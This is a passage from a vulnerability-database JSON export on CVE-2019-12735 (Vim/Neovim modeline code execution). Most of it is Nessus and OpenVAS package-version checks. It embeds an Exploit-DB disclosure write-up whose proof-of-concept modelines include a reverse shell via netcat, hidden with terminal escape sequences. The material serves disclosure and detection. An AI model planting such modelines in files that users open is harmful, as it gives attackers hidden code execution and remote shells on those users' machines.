\"Host/ZTE-CGSL/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/ZTE-CGSL/release\");\nif (isnull(release) || release !~ \"^CGSL (MAIN|CORE)\") audit(AUDIT_OS_NOT, \"NewStart Carrier Grade Server Linux\");\n\nif (release !~ \"CGSL MAIN 4.06\")\n audit(AUDIT_OS_NOT, 'NewStart CGSL MAIN 4.06');\n\nif (!get_kb_item(\"Host/ZTE-CGSL/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"NewStart Carrier Grade Server Linux\", cpu);\n\nflag = 0;\n\npkgs = {\n \"CGSL MAIN 4.06\": [\n \"vim-X11-7.4.629-5.el6_10.2\",\n \"vim-common-7.4.629-5.el6_10.2\",\n \"vim-debuginfo-7.4.629-5.el6_10.2\",\n \"vim-enhanced-7.4.629-5.el6_10.2\",\n \"vim-filesystem-7.4.629-5.el6_10.2\",\n \"vim-minimal-7.4.629-5.el6_10.2\"\n ]\n};\npkg_list = pkgs[release];\n\nforeach (pkg in pkg_list)\n if (rpm_check(release:\"ZTE \" + release, reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"vim\");\n}\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "exploitdb": [{"lastseen": "2019-06-07T12:20:40", "description": "", "published": "2019-06-04T00:00:00", "type": "exploitdb", "title": "Vim < 8.1.1365 / Neovim < 0.3.6 - Arbitrary Code Execution", "bulletinFamily": "exploit", "cvelist": ["CVE-2019-12735"], "modified": "2019-06-04T00:00:00", "id": "EDB-ID:46973", "href": "https://www.exploit-db.com/exploits/46973", "sourceData": "*by Arminius ([@rawsec](https://twitter.com/rawsec))*\r\n\r\nVim/Neovim Arbitrary Code Execution via Modelines\r\n=================================================\r\n\r\n```\r\nProduct: Vim < 8.1.1365, Neovim < 0.3.6\r\nType: Arbitrary Code Execution\r\nCVE: CVE-2019-12735\r\nDate: 2019-06-04\r\nAuthor: Arminius (@rawsec)\r\n```\r\n\r\nSummary\r\n-------\r\n\r\nVim before 8.1.1365 and Neovim before 0.3.6 are vulnerable to arbitrary code\r\nexecution via modelines by opening a specially crafted text file.\r\n\r\n\r\nProof of concept\r\n----------------\r\n\r\n- Create [`poc.txt`](../data/2019-06-04_ace-vim-neovim/poc.txt):\r\n\r\n :!uname -a||\" vi:fen:fdm=expr:fde=assert_fails(\"source\\!\\ \\%\"):fdl=0:fdt=\"\r\n\r\n- Ensure that the modeline option has not been disabled (`:set modeline`).\r\n\r\n- Open the file in Vim:\r\n\r\n $ vim poc.txt\r\n\r\n- The system will execute `uname -a`.\r\n\r\nProof of concept 2 (reverse shell)\r\n----------------------------------\r\n\r\nThis PoC outlines a real-life attack approach in which a reverse shell\r\nis launched once the user opens the file. To conceal the attack, the file will\r\nbe immediately rewritten when opened. Also, the PoC uses terminal escape\r\nsequences to hide the modeline when the content is printed with `cat`. (`cat\r\n-v` reveals the actual content.)\r\n\r\n[`shell.txt`](../data/2019-06-04_ace-vim-neovim/shell.txt):\r\n\r\n \\x1b[?7l\\x1bSNothing here.\\x1b:silent! w | call system(\\'nohup nc 127.0.0.1 9999 -e /bin/sh &\\') | redraw! | file | silent! # \" vim: set fen fdm=expr fde=assert_fails(\\'set\\\\ fde=x\\\\ \\\\|\\\\ source\\\\!\\\\ \\\\%\\') fdl=0: \\x16\\x1b[1G\\x16\\x1b[KNothing here.\"\\x16\\x1b[D \\n\r\n\r\nDemo (victim left, attacker right):\r\n\r\n\r\n\r\nDetails\r\n-------\r\n\r\nThe modeline feature allows to specify custom editor options near the start or\r\nend of a file. This feature is enabled by default and applied to all file types,\r\nincluding plain `.txt`. A typical modeline:\r\n\r\n /* vim: set textwidth=80 tabstop=8: */\r\n\r\nFor security reasons, only a subset of options is permitted in modelines, and\r\nif the option value contains an expression, it is executed in a sandbox: [[1]]\r\n\r\n No other commands than \"set\" are supported, for security reasons (somebody\r\n might create a Trojan horse text file with modelines). And not all options\r\n can be set. For some options a flag is set, so that when it's used the\r\n |sandbox| is effective.\r\n\r\nThe sandbox is meant to prevent side effects: [[2]]\r\n\r\n The 'foldexpr', 'formatexpr', 'includeexpr', 'indentexpr', 'statusline' and\r\n 'foldtext' options may be evaluated in a sandbox. This means that you are\r\n protected from these expressions having nasty side effects. This gives some\r\n safety for when these options are set from a modeline.\r\n\r\nHowever, the `:source!` command (with the bang [`!`] modifier) can be used to\r\nbypass the sandbox. It reads and executes commands from a given file as if\r\n*typed manually*, running them after the sandbox has been left. [[3]]\r\n\r\n :so[urce]! {file} Read Vim commands from {file}. These are commands\r\n that are executed from Normal mode, like you type\r\n them.\r\n\r\nThus, one can trivially construct a modeline that runs code outside the sandbox:\r\n\r\n # vim: set foldexpr=execute('\\:source! some_file'):\r\n\r\nAn additional step is needed for Neovim which blacklists `execute()`: [[4]]\r\n\r\n execute({command} [, {silent}]) *execute()*\r\n Execute {command} and capture its output.\r\n [...]\r\n This function is not available in the |sandbox|.\r\n\r\nHere, `assert_fails()` can be used instead, which takes a `{cmd}` argument, too: [[5]]\r\n\r\n assert_fails({cmd} [, {error} [, {msg}]]) *assert_fails()*\r\n Run {cmd} and add an error message to |v:errors| if it does\r\n NOT produce an error.\r\n\r\nThe following modeline utilizes a fold expression to run `source! %` to\r\nexecute the current file, which in turn executes `uname -a || \"(garbage)\"` as a\r\nshell command:\r\n\r\n :!uname -a||\" vi:fen:fdm=expr:fde=assert_fails(\"source\\!\\ \\%\"):fdl=0:fdt=\"\r\n\r\nAdditionally, the Neovim-only function `nvim_input()` is vulnerable to the same\r\napproach via e.g.:\r\n\r\n vi:fen:fdm=expr:fde=nvim_input(\"\\:terminal\\ uname\\ -a\"):fdl=0\r\n\r\n(In the past, other modeline-related vulnerabilities have been patched in Vim - see [CVE-2002-1377](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1377), [CVE-2016-1248](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-1248).)\r\n\r\nPatches\r\n-------\r\n\r\n- [Vim patch 8.1.1365](https://github.com/vim/vim/commit/5357552)\r\n- [Neovim patch](https://github.com/neovim/neovim/pull/10082) (released in [v0.3.6](https://github.com/neovim/neovim/releases/tag/v0.3.6))\r\n\r\nBeyond patching, it's recommended to disable modelines in the vimrc (`set\r\nnomodeline`), to use the [securemodelines](https://github.com/ciaranm/securemodelines/)\r\nplugin, or to disable `modelineexpr` (since patch 8.1.1366, Vim-only) to disallow\r\nexpressions in modelines.\r\n\r\nTimeline\r\n--------\r\n\r\n - 2019-05-22 Vim and Neovim maintainers notified\r\n - 2019-05-23 Vim patch released\r\n - 2019-05-29 Neovim patch released\r\n - 2019-06-05 CVE ID CVE-2019-12735 assigned\r\n\r\nAlso see description of [CVE-2019-12735](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12735).\r\n\r\n[1]: https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/options.txt#L582\r\n[2]: https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/eval.txt#L13050\r\n[3]: https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/repeat.txt#L182\r\n[4]: https://github.com/neovim/neovim/blob/1060bfd0338253107deaac346e362a9feab32068/runtime/doc/eval.txt#L3247\r\n[5]: https://github.com/neovim/neovim/blob/1060bfd0338253107deaac346e362a9feab32068/runtime/doc/eval.txt#L2494\r\n[6]: https://github.com/vim/vim/releases/tag/v8.1.1365\r\n[7]: https://github.com/neovim/neovim/releases/tag/v0.3.6", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://www.exploit-db.com/download/46973"}], "openvas": [{"lastseen": "2019-06-14T12:42:48", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-12735"], "description": "The remote host is missing an update for the ", "modified": "2019-06-13T00:00:00", "published": "2019-06-13T00:00:00", "id": "OPENVAS:1361412562310876486", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310876486", "type": "openvas", "title": "Fedora Update for vim FEDORA-2019-dcd49378b8", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.876486\");\n script_version(\"2019-06-13T11:51:34+0000\");\n script_cve_id(\"CVE-2019-12735\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"last_modification\", value:\"2019-06-13 11:51:34 +0000 (Thu, 13 Jun 2019)\");\n script_tag(name:\"creation_date\", value:\"2019-06-13 02:13:15 +0000 (Thu, 13 Jun 2019)\");\n script_name(\"Fedora Update for vim FEDORA-2019-dcd49378b8\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC29\");\n\n script_xref(name:\"FEDORA\", value:\"2019-dcd49378b8\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/TRIRBC2YRGKPAWVRMZS4SZTGGCVRVZPR\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'vim'\n package(s) announced via the FEDORA-2019-dcd49378b8 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"VIM (VIsual editor iMproved) is an updated and improved version of the\nvi editor. Vi was the first real screen-based editor for UNIX, and is\nstill very popular. VIM improves on vi by adding new features:\nmultiple windows, multi-level undo, block highlighting and more.\");\n\n script_tag(name:\"affected\", value:\"'vim' package(s) on Fedora 29.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"FC29\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"vim\", rpm:\"vim~8.1.1471~1.fc29\", rls:\"FC29\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if (__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-01-27T18:40:04", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-12735"], "description": "The remote host is missing an update for the Huawei EulerOS\n ", "modified": "2020-01-23T00:00:00", "published": "2020-01-23T00:00:00", "id": "OPENVAS:1361412562311220191766", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562311220191766", "type": "openvas", "title": "Huawei EulerOS: Security Advisory for vim (EulerOS-SA-2019-1766)", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.1.2.2019.1766\");\n script_version(\"2020-01-23T12:21:55+0000\");\n script_cve_id(\"CVE-2019-12735\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"last_modification\", value:\"2020-01-23 12:21:55 +0000 (Thu, 23 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-01-23 12:21:55 +0000 (Thu, 23 Jan 2020)\");\n script_name(\"Huawei EulerOS: Security Advisory for vim (EulerOS-SA-2019-1766)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"Huawei EulerOS Local Security Checks\");\n script_dependencies(\"gb_huawei_euleros_consolidation.nasl\");\n script_mandatory_keys(\"ssh/login/euleros\", \"ssh/login/rpms\", re:\"ssh/login/release=EULEROS-2\\.0SP8\");\n\n script_xref(name:\"EulerOS-SA\", value:\"2019-1766\");\n script_xref(name:\"URL\", value:\"https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2019-1766\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the Huawei EulerOS\n 'vim' package(s) announced via the EulerOS-SA-2019-1766 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"It was found that the `:source!` command was not restricted by the sandbox mode. If modeline was explicitly enabled, opening a specially crafted text file in vim could result in arbitrary command execution.(CVE-2019-12735)\");\n\n script_tag(name:\"affected\", value:\"'vim' package(s) on Huawei EulerOS V2.0SP8.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"EULEROS-2.0SP8\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"vim-X11\", rpm:\"vim-X11~8.1.450~1.h3.eulerosv2r8\", rls:\"EULEROS-2.0SP8\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"vim-common\", rpm:\"vim-common~8.1.450~1.h3.eulerosv2r8\", rls:\"EULEROS-2.0SP8\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"vim-enhanced\", rpm:\"vim-enhanced~8.1.450~1.h3.eulerosv2r8\", rls:\"EULEROS-2.0SP8\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"vim-filesystem\", rpm:\"vim-filesystem~8.1.450~1.h3.eulerosv2r8\", rls:\"EULEROS-2.0SP8\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"vim-minimal\", rpm:\"vim-minimal~8.1.450~1.h3.eulerosv2r8\", rls:\"EULEROS-2.0SP8\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if (__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-07-26T11:51:02", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-12735"], "description": "The remote host is missing an update for the ", "modified": "2019-07-25T00:00:00", "published": "2019-07-18T00:00:00", "id": "OPENVAS:1361412562310883082", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310883082", "type": "openvas", "title": "CentOS Update for vim-common CESA-2019:1774 centos6 ", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.883082\");\n script_version(\"2019-07-25T11:54:35+0000\");\n script_cve_id(\"CVE-2019-12735\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"last_modification\", value:\"2019-07-25 11:54:35 +0000 (Thu, 25 Jul 2019)\");\n script_tag(name:\"creation_date\", value:\"2019-07-18 02:00:32 +0000 (Thu, 18 Jul 2019)\");\n script_name(\"CentOS Update for vim-common CESA-2019:1774 centos6 \");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"CentOS Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/centos\", \"ssh/login/rpms\", re:\"ssh/login/release=CentOS6\");\n\n script_xref(name:\"CESA\", value:\"2019:1774\");\n script_xref(name:\"URL\", value:\"http://lists.centos.org/pipermail/centos-announce/2019-July/023367.html\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'vim-common'\n package(s) announced via the CESA-2019:1774 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"Vim (Vi IMproved) is an updated and improved version of the vi editor.\n\nSecurity Fix(es):\n\n * vim/neovim:':source!' command allows arbitrary command execution via\nmodelines (CVE-2019-12735)\n\nFor more details about the security issue(s), including the impact, a CVSS\nscore, acknowledgments, and other related information, refer to the CVE\npage(s) listed in the References section.\");\n\n script_tag(name:\"affected\", value:\"'vim-common' package(s) on CentOS 6.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"CentOS6\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"vim-common\", rpm:\"vim-common~7.4.629~5.el6_10.2\", rls:\"CentOS6\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"vim-enhanced\", rpm:\"vim-enhanced~7.4.629~5.el6_10.2\", rls:\"CentOS6\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"vim-filesystem\", rpm:\"vim-filesystem~7.4.629~5.el6_10.2\", rls:\"CentOS6\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"vim-minimal\", rpm:\"vim-minimal~7.4.629~5.el6_10.2\", rls:\"CentOS6\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"vim-X11\", rpm:\"vim-X11~7.4.629~5.el6_10.2\", rls:\"CentOS6\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"vim\", rpm:\"vim~7.4.629~5.el6_10.2\", rls:\"CentOS6\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if (__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-01-31T16:53:01", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-12735"], "description": "The remote host is missing an update for the ", "modified": "2020-01-31T00:00:00", "published": "2019-06-18T00:00:00", "id": "OPENVAS:1361412562310852560", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310852560", "type": "openvas", "title": "openSUSE: Security Advisory for vim (openSUSE-SU-2019:1562-1)", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.852560\");\n script_version(\"2020-01-31T08:04:39+0000\");\n script_cve_id(\"CVE-2019-12735\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"last_modification\", value:\"2020-01-31 08:04:39 +0000 (Fri, 31 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2019-06-18 02:01:44 +0000 (Tue, 18 Jun 2019)\");\n script_name(\"openSUSE: Security Advisory for vim (openSUSE-SU-2019:1562-1)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"SuSE Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/suse\", \"ssh/login/rpms\", re:\"ssh/login/release=openSUSELeap42\\.3\");\n\n script_xref(name:\"openSUSE-SU\", value:\"2019:1562-1\");\n script_xref(name:\"URL\", value:\"https://lists.opensuse.org/opensuse-security-announce/2019-06/msg00036.html\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'vim'\n package(s) announced via the openSUSE-SU-2019:1562-1 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"This update for vim fixes the following issue:\n\n Security issue fixed:\n\n - CVE-2019-12735: Fixed a potential arbitrary code execution vulnerability\n in getchar.c (bsc#1137443).\n\n This update was imported from the SUSE:SLE-12:Update update project.\n\n Patch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended\n installation methods\n like YaST online_update or 'zypper patch'.\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 42.3:\n\n zypper in -t patch openSUSE-2019-1562=1\");\n\n script_tag(name:\"affected\", value:\"'vim' package(s) on openSUSE Leap 42.3.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"openSUSELeap42.3\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"gvim\", rpm:\"gvim~7.4.326~13.4.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"gvim-debuginfo\", rpm:\"gvim-debuginfo~7.4.326~13.4.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"vim\", rpm:\"vim~7.4.326~13.4.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"vim-debuginfo\", rpm:\"vim-debuginfo~7.4.326~13.4.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"vim-debugsource\", rpm:\"vim-debugsource~7.4.326~13.4.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"vim-data\", rpm:\"vim-data~7.4.326~13.4.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if(__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-06-24T16:43:49", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-12735"], "description": "The remote host is missing an update for the ", "modified": "2019-06-21T00:00:00", "published": "2019-06-20T00:00:00", "id": "OPENVAS:1361412562310704467", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310704467", "type": "openvas", "title": "Debian Security Advisory DSA 4467-1 (vim - security update)", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.704467\");\n script_version(\"2019-06-21T08:28:14+0000\");\n script_cve_id(\"CVE-2019-12735\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"last_modification\", value:\"2019-06-21 08:28:14 +0000 (Fri, 21 Jun 2019)\");\n script_tag(name:\"creation_date\", value:\"2019-06-20 02:00:05 +0000 (Thu, 20 Jun 2019)\");\n script_name(\"Debian Security Advisory DSA 4467-1 (vim - security update)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\", re:\"ssh/login/release=DEB9\");\n\n script_xref(name:\"URL\", value:\"https://www.debian.org/security/2019/dsa-4467.html\");\n script_xref(name:\"URL\", value:\"https://security-tracker.debian.org/tracker/DSA-4467-1\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'vim'\n package(s) announced via the DSA-4467-1 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"User Arminius discovered a vulnerability in Vim, an enhanced version of the\n standard UNIX editor Vi (Vi IMproved). The Common vulnerabilities and exposures project identifies the following problem:\n\n Editors typically provide a way to embed editor configuration commands (aka\n modelines) which are executed once a file is opened, while harmful commands\n are filtered by a sandbox mechanism. It was discovered that the source\n command (used to include and execute another file) was not filtered, allowing\n shell command execution with a carefully crafted file opened in Vim.\");\n\n script_tag(name:\"affected\", value:\"'vim' package(s) on Debian Linux.\");\n\n script_tag(name:\"solution\", value:\"For the stable distribution (stretch), this problem has been fixed in\n version 2:8.0.0197-4+deb9u2.\n\n We recommend that you upgrade your vim packages.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif(!isnull(res = isdpkgvuln(pkg:\"vim\", ver:\"2:8.0.0197-4+deb9u2\", rls:\"DEB9\"))) {\n report += 